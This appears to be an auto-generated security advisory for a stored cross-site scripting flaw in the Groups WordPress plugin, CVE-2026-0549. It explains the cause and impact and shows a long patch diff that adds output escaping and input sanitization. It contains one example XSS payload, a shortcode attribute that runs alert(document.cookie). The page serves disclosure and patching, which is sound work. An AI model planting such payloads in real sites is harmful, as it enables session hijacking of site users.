Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0549: Groups <= 3.10.0 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'groups_group_info' Shortcode (groups)

CVE ID CVE-2026-0549
Plugin groups
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.10.0
Patched Version 3.11.0
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0549:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Groups WordPress plugin. The vulnerability affects the ‘groups_group_info’ shortcode in versions up to and including 3.10.0. Attackers with contributor-level access or higher can inject arbitrary JavaScript into pages, which executes when users view those pages. The CVSS score of 6.4 reflects the authentication requirement and impact on data confidentiality and integrity.

The root cause is insufficient input sanitization and output escaping on user-supplied attributes for the ‘groups_group_info’ shortcode. The vulnerable code resides in the shortcode handler function that processes attributes like ‘group_id’, ‘show’, and ‘field’. Atomic Edge research identified that the plugin failed to properly escape these attribute values before outputting them in HTML contexts. The diff shows extensive changes to escaping functions throughout the codebase, indicating a systemic lack of output escaping.

Exploitation requires an authenticated attacker with at least contributor privileges. The attacker creates or edits a post or page containing the ‘[groups_group_info]’ shortcode with malicious attributes. For example: [groups_group_info group_id=”1″ show=”alert(document.cookie)”]. When the page renders, the unsanitized attribute values are output without proper escaping, allowing script execution. The attack vector targets WordPress’s post editing interface, where contributors can publish content containing shortcodes.

The patch in version 3.11.0 adds comprehensive output escaping throughout the plugin. The diff shows numerous replacements of unescaped output functions with their escaped equivalents. Key changes include replacing ‘__()’ with ‘esc_html__()’ for translatable strings, adding ‘esc_attr()’ to HTML attributes, and using ‘esc_attr__()’ for translatable attribute values. The patch also introduces new sanitization functions like ‘groups_sanitize_post()’ and ‘groups_sanitize_get()’ to properly clean user input before processing.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of authenticated users viewing affected pages. This can lead to session hijacking, account takeover, content manipulation, and privilege escalation. Since the XSS is stored, a single injection affects all users who view the compromised page. The vulnerability enables attackers to perform actions as the victim user, potentially accessing sensitive administrative functions if administrators view the malicious content.

Differential between vulnerable and patched code

Code Diff
--- a/groups/groups.php
+++ b/groups/groups.php
@@ -21,7 +21,7 @@
  * Plugin Name: Groups
  * Plugin URI: https://www.itthinx.com/plugins/groups
  * Description: Groups provides group-based user membership management, group-based capabilities and content access control.
- * Version: 3.10.0
+ * Version: 3.11.0
  * Requires at least: 6.7
  * Requires PHP: 7.4
  * WC requires at least: 10.0
@@ -36,7 +36,7 @@
 if ( !defined( 'ABSPATH' ) ) {
 	exit;
 }
-define( 'GROUPS_CORE_VERSION', '3.10.0' );
+define( 'GROUPS_CORE_VERSION', '3.11.0' );
 define( 'GROUPS_FILE', __FILE__ );
 if ( !defined( 'GROUPS_CORE_DIR' ) ) {
 	define( 'GROUPS_CORE_DIR', untrailingslashit( plugin_dir_path( __FILE__ ) ) );
--- a/groups/legacy/access/class-groups-access-meta-boxes-legacy.php
+++ b/groups/legacy/access/class-groups-access-meta-boxes-legacy.php
@@ -180,9 +180,17 @@
 	 */
 	public static function capability( $object = null, $box = null ) {

+		$is_block_editor = false;
+		if ( function_exists( 'get_current_screen' ) ) {
+			$current_screen = get_current_screen();
+			$is_block_editor = method_exists( $current_screen, 'is_block_editor' ) && $current_screen->is_block_editor();
+		}
+
 		$output = '';

-		$show_groups = Groups_Options::get_user_option( self::SHOW_GROUPS, true );
+		// @since 3.11.0 dropped and always on
+		// $show_groups = Groups_Options::get_user_option( self::SHOW_GROUPS, true );
+		$show_groups = true;

 		$post_id = isset( $object->ID ) ? $object->ID : null;
 		$post_type = isset( $object->post_type ) ? $object->post_type : null;
@@ -201,7 +209,7 @@

 		if ( self::user_can_restrict() ) {
 			$user = new Groups_User( get_current_user_id() );
-			$output .= __( 'Enforce read access', 'groups' );
+			$output .= esc_html__( 'Enforce read access', 'groups' );

 			$read_caps = get_post_meta( $post_id, Groups_Post_Access_Legacy::POSTMETA_PREFIX . Groups_Post_Access_Legacy::READ_POST_CAPABILITY );
 			$valid_read_caps = Groups_Options::get_option( Groups_Post_Access_Legacy::READ_POST_CAPABILITIES, array( Groups_Post_Access_Legacy::READ_POST_CAPABILITY ) );
@@ -209,19 +217,19 @@
 			$output .= sprintf(
 				'<select class="select capability" name="%s" multiple="multiple" placeholder="%s" data-placeholder="%s" title="%s">',
 				self::CAPABILITY . '[]',
-				__( 'Type and choose …', 'groups'),
-				__( 'Type and choose …', 'groups'),
-				__( 'Choose one or more capabilities to restrict access. Groups that grant access through the capabilities are shown in parenthesis. If no capabilities are available yet, you can use the quick-create box to create a group and capability enabled for access restriction on the fly.', 'groups' )
+				esc_attr__( 'Type and choose …', 'groups'),
+				esc_attr__( 'Type and choose …', 'groups'),
+				esc_attr__( 'Choose one or more capabilities to restrict access. Groups that grant access through the capabilities are shown in parenthesis. If no capabilities are available yet, you can use the quick-create box to create a group and capability enabled for access restriction on the fly.', 'groups' )
 			);
 			$output .= '<option value=""></option>';
-			foreach( $valid_read_caps as $valid_read_cap ) {
+			foreach ( $valid_read_caps as $valid_read_cap ) {
 				if ( $capability = Groups_Capability::read_by_capability( $valid_read_cap ) ) {
 					if ( $user->can( $capability->capability ) ) {
 						$c = new Groups_Capability( $capability->capability_id );
 						$groups = $c->get_groups();
 						$group_names = array();
 						if ( !empty( $groups ) ) {
-							foreach( $groups as $group ) {
+							foreach ( $groups as $group ) {
 								$group_names[] = $group->get_name();
 							}
 						}
@@ -269,24 +277,25 @@

 			$output .= '<p class="description">';
 			/* translators: group name */
-			$output .= sprintf( esc_html__( "Only groups or users that have one of the selected capabilities are allowed to read this %s.", 'groups' ), esc_html( $post_singular_name ) );
+			$output .= sprintf( esc_html__( 'Only groups or users that have one of the selected capabilities are allowed to read this %s.', 'groups' ), esc_html( $post_singular_name ) );
 			$output .= '</p>';

-			$output .= '<p class="description">';
-			$output .= sprintf( '<label title="%s">', __( 'Click to toggle the display of groups that grant the capabilities.', 'groups' ) );
-			$output .= sprintf( '<input id="access-show-groups" type="checkbox" name="%s" %s />', esc_attr( self::SHOW_GROUPS ), $show_groups ? ' checked="checked" ' : '' );
-			$output .= ' ';
-			$output .= esc_html__( 'Show groups', 'groups' );
-			$output .= '</label>';
-			$output .= '</p>';
-			$output .= '<script type="text/javascript">';
-			$output .= 'if (typeof jQuery !== "undefined"){';
-			$output .= !$show_groups ? 'jQuery("span.groups.description").hide();' : '';
-			$output .= 'jQuery("#access-show-groups").click(function(){';
-			$output .= 'jQuery("span.groups.description").toggle();';
-			$output .= '});';
-			$output .= '}';
-			$output .= '</script>';
+			// @since 3.11.0 dropped and always on
+			// $output .= '<p class="description">';
+			// $output .= sprintf( '<label title="%s">', __( 'Click to toggle the display of groups that grant the capabilities.', 'groups' ) );
+			// $output .= sprintf( '<input id="access-show-groups" type="checkbox" name="%s" %s />', esc_attr( self::SHOW_GROUPS ), $show_groups ? ' checked="checked" ' : '' );
+			// $output .= ' ';
+			// $output .= esc_html__( 'Show groups', 'groups' );
+			// $output .= '</label>';
+			// $output .= '</p>';
+			// $output .= '<script type="text/javascript">';
+			// $output .= 'if (typeof jQuery !== "undefined"){';
+			// $output .= !$show_groups ? 'jQuery("span.groups.description").hide();' : '';
+			// $output .= 'jQuery("#access-show-groups").click(function(){';
+			// $output .= 'jQuery("span.groups.description").toggle();';
+			// $output .= '});';
+			// $output .= '}';
+			// $output .= '</script>';
 		} else {
 			$output .= '<p class="description">';
 			$output .= esc_html__( 'You cannot set any access restrictions.', 'groups' );
@@ -295,7 +304,7 @@
 				$style = 'cursor:pointer;vertical-align:middle;';
 				$output .= sprintf( '<a href="%s">', esc_url( admin_url( 'admin.php?page=groups-admin-options' ) ) );
 			}
-			$output .= sprintf( '<img style="%s" alt="?" title="%s" src="%s" />', $style, esc_attr( __( 'You must be in a group that has at least one capability enabled to enforce read access.', 'groups' ) ), esc_attr( GROUPS_PLUGIN_URL . 'images/help.png' ) );
+			$output .= sprintf( '<img style="%s" alt="?" title="%s" src="%s" />', $style, esc_attr__( 'You must be in a group that has at least one capability enabled to enforce read access.', 'groups' ), esc_attr( GROUPS_PLUGIN_URL . 'images/help.png' ) );
 			if ( current_user_can( GROUPS_ADMINISTER_OPTIONS ) ) {
 				$output .= '</a>';
 			}
@@ -303,15 +312,15 @@
 		}

 		// quick-create
-		if ( current_user_can( GROUPS_ADMINISTER_GROUPS ) ) {
+		if ( current_user_can( GROUPS_ADMINISTER_GROUPS ) && !$is_block_editor ) {
 			$style = 'cursor:help;vertical-align:middle;';
 			$output .= '<div class="quick-create-group-capability" style="margin:4px 0">';
 			$output .= '<label>';
-			$output .= sprintf( '<input style="width:100%%;margin-right:-20px;" id="quick-group-capability" name="quick-group-capability" class="quick-group-capability" type="text" value="" placeholder="%s"/>', __( 'Quick-create group & capability', 'groups' ) );
+			$output .= sprintf( '<input style="width:100%%;margin-right:-20px;" id="quick-group-capability" name="quick-group-capability" class="quick-group-capability" type="text" value="" placeholder="%s"/>', esc_attr__( 'Quick-create group & capability', 'groups' ) );
 			$output .= sprintf(
 				'<img id="quick-create-help-icon" style="%s" alt="?" title="%s" src="%s" />',
 				$style,
-				esc_attr( __( 'You can create a new group and capability here. The capability will be assigned to the group and enabled to enforce read access. Group names are case-sensitive, the name of the capability is the lower-case version of the name of the group. If the group already exists, a new capability is created and assigned to the existing group. If the capability already exists, it will be assigned to the group. If both already exist, the capability is enabled to enforce read access. In order to be able to use the capability, your user account will be assigned to the group.', 'groups' ) ),
+				esc_attr__( 'You can create a new group and capability here. The capability will be assigned to the group and enabled to enforce read access. Group names are case-sensitive, the name of the capability is the lower-case version of the name of the group. If the group already exists, a new capability is created and assigned to the existing group. If the capability already exists, it will be assigned to the group. If both already exist, the capability is enabled to enforce read access. In order to be able to use the capability, your user account will be assigned to the group.', 'groups' ),
 				esc_attr( GROUPS_PLUGIN_URL . 'images/help.png' )
 			);
 			$output .= '</label>';
@@ -338,6 +347,7 @@
 	 *
 	 * @param boolean $maybe_empty
 	 * @param array $postarr
+	 *
 	 * @return boolean
 	 */
 	public static function wp_insert_post_empty_content( $maybe_empty, $postarr ) {
@@ -374,8 +384,8 @@
 			if ( $post_type_object && $post_type != 'attachment' ) {
 				$post_types_option = Groups_Options::get_option( Groups_Post_Access_Legacy::POST_TYPES, array() );
 				if ( !isset( $post_types_option[$post_type]['add_meta_box'] ) || $post_types_option[$post_type]['add_meta_box'] ) {
-					if ( isset( $_POST[self::NONCE] ) && wp_verify_nonce( $_POST[self::NONCE], self::SET_CAPABILITY ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-						$post_type = isset( $_POST['post_type'] ) ? $_POST['post_type'] : null; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+					if ( groups_verify_post_nonce( self::NONCE, self::SET_CAPABILITY ) ) {
+						$post_type = groups_sanitize_post( 'post_type' );
 						if ( $post_type !== null ) {
 							// See http://codex.wordpress.org/Function_Reference/current_user_can 20130119 WP 3.5
 							// "... Some capability checks (like 'edit_post' or 'delete_page') require this [the post ID] be provided."
@@ -399,10 +409,11 @@
 							if ( current_user_can( $edit_post_type, $post_id ) ) {
 								// quick-create ?
 								if ( current_user_can( GROUPS_ADMINISTER_GROUPS ) ) {
-									if ( !empty( $_POST['quick-group-capability'] ) ) {
+									$quick_group_capability = groups_sanitize_post( 'quick-group-capability' );
+									if ( !empty( $quick_group_capability ) ) {
 										$creator_id = get_current_user_id();
 										$datetime   = date( 'Y-m-d H:i:s', time() ); // phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date
-										$name       = ucfirst( strtolower( trim( $_POST['quick-group-capability'] ) ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+										$name       = ucfirst( strtolower( trim( $quick_group_capability ) ) );
 										if ( strlen( $name ) > 0 ) {
 											// create or obtain the group
 											if ( $group = Groups_Group::read_by_name( $name ) ) {
@@ -443,10 +454,10 @@
 													)
 												);
 												// put the capability ID in $_POST[self::CAPABILITY] so it is treated below
-												if ( empty( $_POST[self::CAPABILITY] ) ) {
+												if ( empty( $_POST[self::CAPABILITY] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing
 													$_POST[self::CAPABILITY] = array();
 												}
-												if ( !in_array( $capability->capability_id, $_POST[self::CAPABILITY] ) ) {
+												if ( !in_array( $capability->capability_id, $_POST[self::CAPABILITY] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing
 													$_POST[self::CAPABILITY][] = $capability->capability_id;
 												}
 											}
@@ -456,9 +467,10 @@
 								// set
 								if ( self::user_can_restrict() ) {
 									$valid_read_caps = self::get_valid_read_caps_for_user();
-									foreach( $valid_read_caps as $valid_read_cap ) {
+									foreach ( $valid_read_caps as $valid_read_cap ) {
 										if ( $capability = Groups_Capability::read_by_capability( $valid_read_cap ) ) {
-											if ( !empty( $_POST[self::CAPABILITY] ) && is_array( $_POST[self::CAPABILITY] ) && in_array( $capability->capability_id, $_POST[self::CAPABILITY] ) ) {
+											$posted_capabilities = groups_sanitize_post( self::CAPABILITY );
+											if ( is_array( $posted_capabilities ) && in_array( $capability->capability_id, $posted_capabilities ) ) {
 												Groups_Post_Access_Legacy::create( array(
 													'post_id' => $post_id,
 													'capability' => $capability->capability
@@ -470,7 +482,8 @@
 									}
 								}
 								// show groups
-								Groups_Options::update_user_option( self::SHOW_GROUPS, !empty( $_POST[self::SHOW_GROUPS] ) );
+								// @since 3.11.0 dropped and always on
+								// Groups_Options::update_user_option( self::SHOW_GROUPS, !empty( $_POST[self::SHOW_GROUPS] ) );
 							}
 						}
 					}
@@ -494,8 +507,10 @@

 	/**
 	 * Render capabilities box for attachment post type (Media).
+	 *
 	 * @param array $form_fields
 	 * @param object $post
+	 *
 	 * @return array
 	 */
 	public static function attachment_fields_to_edit( $form_fields, $post ) {
@@ -506,10 +521,10 @@
 		if ( !isset( $post_types_option['attachment']['add_meta_box'] ) || $post_types_option['attachment']['add_meta_box'] ) {
 			if ( self::user_can_restrict() ) {
 				$user = new Groups_User( get_current_user_id() );
-				$output = "";
+				$output = '';
 				$post_singular_name = __( 'Media', 'groups' );

-				$output .= __( "Enforce read access", 'groups' );
+				$output .= esc_html__( 'Enforce read access', 'groups' );
 				$read_caps = get_post_meta( $post->ID, Groups_Post_Access_Legacy::POSTMETA_PREFIX . Groups_Post_Access_Legacy::READ_POST_CAPABILITY );
 				$valid_read_caps = self::get_valid_read_caps_for_user();

@@ -521,21 +536,21 @@
 				// and https://core.trac.wordpress.org/ticket/28053 - this is an issue with multiple value fields and should
 				// be fixed within WordPress.

-// 				$output .= '<div style="padding:0 1em;margin:1em 0;border:1px solid #ccc;border-radius:4px;">';
-// 				$output .= '<ul>';
-// 				foreach( $valid_read_caps as $valid_read_cap ) {
-// 					if ( $capability = Groups_Capability::read_by_capability( $valid_read_cap ) ) {
-// 						$checked = in_array( $capability->capability, $read_caps ) ? ' checked="checked" ' : '';
-// 						$output .= '<li>';
-// 						$output .= '<label>';
-// 						$output .= '<input name="attachments[' . $post->ID . '][' . self::CAPABILITY . '][]" ' . $checked . ' type="checkbox" value="' . esc_attr( $capability->capability_id ) . '" />';
-// 						$output .= stripslashes( wp_filter_nohtml_kses( $capability->capability ) );
-// 						$output .= '</label>';
-// 						$output .= '</li>';
-// 					}
-// 				}
-// 				$output .= '</ul>';
-// 				$output .= '</div>';
+				// $output .= '<div style="padding:0 1em;margin:1em 0;border:1px solid #ccc;border-radius:4px;">';
+				// $output .= '<ul>';
+				// foreach ( $valid_read_caps as $valid_read_cap ) {
+				// 	if ( $capability = Groups_Capability::read_by_capability( $valid_read_cap ) ) {
+				// 		$checked = in_array( $capability->capability, $read_caps ) ? ' checked="checked" ' : '';
+				// 		$output .= '<li>';
+				// 		$output .= '<label>';
+				// 		$output .= '<input name="attachments[' . $post->ID . '][' . self::CAPABILITY . '][]" ' . $checked . ' type="checkbox" value="' . esc_attr( $capability->capability_id ) . '" />';
+				// 		$output .= stripslashes( wp_filter_nohtml_kses( $capability->capability ) );
+				// 		$output .= '</label>';
+				// 		$output .= '</li>';
+				// 	}
+				// }
+				// $output .= '</ul>';
+				// $output .= '</div>';

 				$show_groups = Groups_Options::get_user_option( self::SHOW_GROUPS, true );
 				$output .= '<div class="select-capability-container">';
@@ -548,14 +563,14 @@
 					__( 'Choose one or more capabilities to restrict access. Groups that grant access through the capabilities are shown in parenthesis. If no capabilities are available yet, you can use the quick-create box to create a group and capability enabled for access restriction on the fly.', 'groups' )
 				);
 				$output .= '<option value=""></option>';
-				foreach( $valid_read_caps as $valid_read_cap ) {
+				foreach ( $valid_read_caps as $valid_read_cap ) {
 					if ( $capability = Groups_Capability::read_by_capability( $valid_read_cap ) ) {
 						if ( $user->can( $capability->capability ) ) {
 							$c = new Groups_Capability( $capability->capability_id );
 							$groups = $c->get_groups();
 							$group_names = array();
 							if ( !empty( $groups ) ) {
-								foreach( $groups as $group ) {
+								foreach ( $groups as $group ) {
 									$group_names[] = $group->get_name();
 								}
 							}
@@ -610,8 +625,10 @@
 	/**
 	 * Save capabilities for attachment post type (Media).
 	 * When multiple attachments are saved, this is called once for each.
+	 *
 	 * @param array $post post data
 	 * @param array $attachment attachment field data
+	 *
 	 * @return array
 	 */
 	public static function attachment_fields_to_save( $post, $attachment ) {
@@ -628,7 +645,7 @@
 				}
 				if ( $post_id !== null ) {
 					$valid_read_caps = self::get_valid_read_caps_for_user();
-					foreach( $valid_read_caps as $valid_read_cap ) {
+					foreach ( $valid_read_caps as $valid_read_cap ) {
 						if ( $capability = Groups_Capability::read_by_capability( $valid_read_cap ) ) {
 							if ( !empty( $attachment[self::CAPABILITY] ) && is_array( $attachment[self::CAPABILITY] ) && in_array( $capability->capability_id, $attachment[self::CAPABILITY] ) ) {
 								Groups_Post_Access_Legacy::create( array(
@@ -649,13 +666,14 @@
 	/**
 	 * Returns true if the current user has at least one of the capabilities
 	 * that can be used to restrict access to posts.
+	 *
 	 * @return boolean
 	 */
 	public static function user_can_restrict() {
 		$has_read_cap = false;
 		$user = new Groups_User( get_current_user_id() );
 		$valid_read_caps = Groups_Options::get_option( Groups_Post_Access_Legacy::READ_POST_CAPABILITIES, array( Groups_Post_Access_Legacy::READ_POST_CAPABILITY ) );
-		foreach( $valid_read_caps as $valid_read_cap ) {
+		foreach ( $valid_read_caps as $valid_read_cap ) {
 			if ( $capability = Groups_Capability::read_by_capability( $valid_read_cap ) ) {
 				if ( $user->can( $capability->capability_id ) ) {
 					$has_read_cap = true;
@@ -673,7 +691,7 @@
 		$result = array();
 		$user = new Groups_User( $user_id === null ? get_current_user_id() : $user_id );
 		$valid_read_caps = Groups_Options::get_option( Groups_Post_Access_Legacy::READ_POST_CAPABILITIES, array( Groups_Post_Access_Legacy::READ_POST_CAPABILITY ) );
-		foreach( $valid_read_caps as $valid_read_cap ) {
+		foreach ( $valid_read_caps as $valid_read_cap ) {
 			if ( $capability = Groups_Capability::read_by_capability( $valid_read_cap ) ) {
 				if ( $user->can( $capability->capability ) ) {
 					$result[] = $valid_read_cap;
--- a/groups/legacy/access/class-groups-post-access-legacy.php
+++ b/groups/legacy/access/class-groups-post-access-legacy.php
@@ -412,7 +412,7 @@
 				$groups_user = new Groups_User( $user_id );
 				$read_caps = self::get_read_post_capabilities( $post_id );
 				if ( !empty( $read_caps ) ) {
-					foreach( $read_caps as $read_cap ) {
+					foreach ( $read_caps as $read_cap ) {
 						if ( $groups_user->can( $read_cap ) ) {
 							$result = true;
 							break;
--- a/groups/legacy/admin/class-groups-admin-post-columns-legacy.php
+++ b/groups/legacy/admin/class-groups-admin-post-columns-legacy.php
@@ -75,7 +75,7 @@
 		$column_headers[self::CAPABILITIES] = sprintf(
 			/* translators: explanation */
 			__( '<span title="%s">Access Restrictions</span>', 'groups' ),
-			esc_attr( __( 'One or more capabilities required to read the entry.', 'groups' ) )
+			esc_attr__( 'One or more capabilities required to read the entry.', 'groups' )
 		);
 		return $column_headers;
 	}
@@ -95,7 +95,7 @@
 				if ( count( $valid_read_caps ) > 0 ) {
 					sort( $valid_read_caps );
 					$output = '<ul>';
-					foreach( $valid_read_caps as $valid_read_cap ) {
+					foreach ( $valid_read_caps as $valid_read_cap ) {
 						if ( $capability = Groups_Capability::read_by_capability( $valid_read_cap ) ) {
 							if ( in_array( $valid_read_cap, $read_caps ) ) {
 								$output .= '<li>';
--- a/groups/legacy/admin/class-groups-admin-posts-legacy.php
+++ b/groups/legacy/admin/class-groups-admin-posts-legacy.php
@@ -61,7 +61,7 @@
 		global $pagenow;

 		if ( $pagenow == 'edit.php' ) {
-			$post_type = isset( $_GET['post_type'] ) ? $_GET['post_type'] : 'post'; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+			$post_type = groups_sanitize_get( 'post_type' ) ?? 'post';
 			$post_types_option = Groups_Options::get_option( Groups_Post_Access_Legacy::POST_TYPES, array() );
 			if ( !isset( $post_types_option[$post_type]['add_meta_box'] ) || $post_types_option[$post_type]['add_meta_box'] ) {
 				Groups_UIE::enqueue( 'select' );
@@ -77,7 +77,7 @@
 		global $pagenow;

 		if ( $pagenow == 'edit.php' ) {
-			$post_type = isset( $_GET['post_type'] ) ? $_GET['post_type'] : 'post'; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+			$post_type = groups_sanitize_get( 'post_type' ) ?? 'post';
 			$post_types_option = Groups_Options::get_option( Groups_Post_Access_Legacy::POST_TYPES, array() );
 			if ( !isset( $post_types_option[$post_type]['add_meta_box'] ) || $post_types_option[$post_type]['add_meta_box'] ) {
 				echo '<style type="text/css">';
@@ -108,7 +108,7 @@

 			if ( $pagenow == 'edit.php' ) { // check that we're on the right screen

-				$post_type = isset( $_GET['post_type'] ) ? $_GET['post_type'] : 'post'; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+				$post_type = groups_sanitize_get( 'post_type' ) ?? 'post';
 				$post_types_option = Groups_Options::get_option( Groups_Post_Access_Legacy::POST_TYPES, array() );

 				if ( !isset( $post_types_option[$post_type]['add_meta_box'] ) || $post_types_option[$post_type]['add_meta_box'] ) {
@@ -121,21 +121,15 @@
 					$output .= sprintf(
 						'<select class="select capability" name="%s[]" multiple="multiple" placeholder="%s" data-placeholder="%s">',
 						esc_attr( Groups_Post_Access_Legacy::POSTMETA_PREFIX . Groups_Post_Access_Legacy::READ_POST_CAPABILITY ),
-						esc_attr( __( 'Access restrictions …', 'groups' ) ) ,
-						esc_attr( __( 'Access restrictions …', 'groups' ) )
+						esc_attr__( 'Access restrictions …', 'groups' ),
+						esc_attr__( 'Access restrictions …', 'groups' )
 					);

-					$previous_selected = array();
-					if ( !empty( $_GET[Groups_Post_Access_Legacy::POSTMETA_PREFIX . Groups_Post_Access_Legacy::READ_POST_CAPABILITY] ) ) {
-						$previous_selected = $_GET[Groups_Post_Access_Legacy::POSTMETA_PREFIX . Groups_Post_Access_Legacy::READ_POST_CAPABILITY]; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-						if ( !is_array( $previous_selected ) ) {
-							$previous_selected = array();
-						}
-					}
+					$previous_selected = groups_sanitize_get( Groups_Post_Access_Legacy::POSTMETA_PREFIX . Groups_Post_Access_Legacy::READ_POST_CAPABILITY ) ?? array();
 					$selected = in_array( self::NOT_RESTRICTED, $previous_selected ) ? ' selected="selected" ' : '';
-					$output .= sprintf( '<option value="%s" %s >%s</option>', self::NOT_RESTRICTED, esc_attr( $selected ), esc_attr( __( '(only unrestricted)', 'groups' ) ) );
+					$output .= sprintf( '<option value="%s" %s >%s</option>', self::NOT_RESTRICTED, esc_attr( $selected ), esc_attr__( '(only unrestricted)', 'groups' ) );

-					foreach( $applicable_read_caps as $capability ) {
+					foreach ( $applicable_read_caps as $capability ) {
 						$selected = in_array( $capability, $previous_selected ) ? ' selected="selected" ' : '';
 						$output .= sprintf( '<option value="%s" %s >%s</option>', esc_attr( $capability ), esc_attr( $selected ), wp_filter_nohtml_kses( $capability ) );
 					}
@@ -165,7 +159,7 @@

 			if ( $pagenow == 'edit.php' ) { // check that we're on the right screen

-				$post_type = isset( $_GET['post_type'] ) ? $_GET['post_type'] : 'post'; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+				$post_type = groups_sanitize_get( 'post_type' ) ?? 'post';
 				$post_types_option = Groups_Options::get_option( Groups_Post_Access_Legacy::POST_TYPES, array() );

 				if ( !isset( $post_types_option[$post_type]['add_meta_box'] ) || $post_types_option[$post_type]['add_meta_box'] ) {
@@ -178,12 +172,12 @@

 					$output .= '<label style="display:inline;">';
 					$output .= '<span class="title">';
-					$output .= __( 'Access Restrictions', 'groups' );
+					$output .= esc_html__( 'Access Restrictions', 'groups' );
 					$output .= '</span>';
 					$output .= '<select class="capabilities-action" name="capabilities-action">';
-					$output .= '<option selected="selected" value="-1">' . __( '— No Change —', 'groups' ) . '</option>';
-					$output .= '<option value="add-capability">' . __( 'Add restriction', 'groups' ) . '</option>';
-					$output .= '<option value="remove-capability">' . __( 'Remove restriction', 'groups' ) . '</option>';
+					$output .= '<option selected="selected" value="-1">' . esc_html__( '— No Change —', 'groups' ) . '</option>';
+					$output .= '<option value="add-capability">' . esc_html__( 'Add restriction', 'groups' ) . '</option>';
+					$output .= '<option value="remove-capability">' . esc_html__( 'Remove restriction', 'groups' ) . '</option>';
 					$output .= '</select>';
 					$output .= '</label>';

@@ -192,11 +186,11 @@
 					$output .= sprintf(
 						'<select class="select bulk-capability" name="%s[]" multiple="multiple" placeholder="%s" data-placeholder="%s">',
 						esc_attr( Groups_Post_Access_Legacy::POSTMETA_PREFIX . 'bulk-' . Groups_Post_Access_Legacy::READ_POST_CAPABILITY ),
-						esc_attr( __( 'Choose access restrictions …', 'groups' ) ) ,
-						esc_attr( __( 'Choose access restrictions …', 'groups' ) )
+						esc_attr__( 'Choose access restrictions …', 'groups' ),
+						esc_attr__( 'Choose access restrictions …', 'groups' )
 					);

-					foreach( $valid_read_caps as $capability ) {
+					foreach ( $valid_read_caps as $capability ) {
 						$output .= sprintf( '<option value="%s" >%s</option>', esc_attr( $capability ), wp_filter_nohtml_kses( $capability ) );
 					}
 					$output .= '</select>';
@@ -225,26 +219,25 @@
 	 * @param int $post_id
 	 */
 	public static function save_post( $post_id ) {
-		if ( isset( $_REQUEST['capabilities-action'] ) ) {
-			if ( wp_verify_nonce( $_REQUEST['bulk-post-capability-nonce'], 'post-capability' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-				$field = Groups_Post_Access_Legacy::POSTMETA_PREFIX . 'bulk-' . Groups_Post_Access_Legacy::READ_POST_CAPABILITY;
-				if ( !empty( $_REQUEST[$field] ) && is_array( $_REQUEST[$field] ) ) {
-					if ( Groups_Access_Meta_Boxes_Legacy::user_can_restrict() ) {
-						$valid_read_caps = Groups_Access_Meta_Boxes_Legacy::get_valid_read_caps_for_user();
-						foreach( $_REQUEST[$field] as $capability_name ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-							if ( $capability = Groups_Capability::read_by_capability( $capability_name ) ) {
-								if ( in_array( $capability->capability, $valid_read_caps ) ) {
-									switch( $_REQUEST['capabilities-action'] ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-										case 'add-capability' :
-											Groups_Post_Access_Legacy::create( array(
-												'post_id' => $post_id,
-												'capability' => $capability->capability
-											) );
-											break;
-										case 'remove-capability' :
-											Groups_Post_Access_Legacy::delete( $post_id, $capability->capability );
-											break;
-									}
+		if ( groups_verify_request_nonce( 'bulk-post-capability-nonce', 'post-capability' ) ) {
+			$field = Groups_Post_Access_Legacy::POSTMETA_PREFIX . 'bulk-' . Groups_Post_Access_Legacy::READ_POST_CAPABILITY;
+			$bulk_capabilities = groups_sanitize_request( $field );
+			if ( is_array( $bulk_capabilities ) ) {
+				if ( Groups_Access_Meta_Boxes_Legacy::user_can_restrict() ) {
+					$valid_read_caps = Groups_Access_Meta_Boxes_Legacy::get_valid_read_caps_for_user();
+					foreach ( $bulk_capabilities as $capability_name ) {
+						if ( $capability = Groups_Capability::read_by_capability( $capability_name ) ) {
+							if ( in_array( $capability->capability, $valid_read_caps ) ) {
+								switch ( groups_sanitize_request( 'capabilities-action' ) ) {
+									case 'add-capability' :
+										Groups_Post_Access_Legacy::create( array(
+											'post_id' => $post_id,
+											'capability' => $capability->capability
+										) );
+										break;
+									case 'remove-capability' :
+										Groups_Post_Access_Legacy::delete( $post_id, $capability->capability );
+										break;
 								}
 							}
 						}
@@ -268,22 +261,22 @@

 			if ( $pagenow == 'edit.php' ) { // check that we're on the right screen

-				$post_type = isset( $_GET['post_type'] ) ? $_GET['post_type'] : 'post'; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+				$post_type = groups_sanitize_get( 'post_type' ) ?? 'post';
 				$post_types_option = Groups_Options::get_option( Groups_Post_Access_Legacy::POST_TYPES, array() );

 				if ( !isset( $post_types_option[$post_type]['add_meta_box'] ) || $post_types_option[$post_type]['add_meta_box'] ) {

-					if ( !empty( $_GET[Groups_Post_Access_Legacy::POSTMETA_PREFIX . Groups_Post_Access_Legacy::READ_POST_CAPABILITY] ) &&
-						is_array( $_GET[Groups_Post_Access_Legacy::POSTMETA_PREFIX . Groups_Post_Access_Legacy::READ_POST_CAPABILITY] )
-					) {
+					$field = Groups_Post_Access_Legacy::POSTMETA_PREFIX . Groups_Post_Access_Legacy::READ_POST_CAPABILITY;
+					$restricting = groups_sanitize_get( $field );
+					if ( is_array( $restricting ) ) {

 						$include_unrestricted = false;
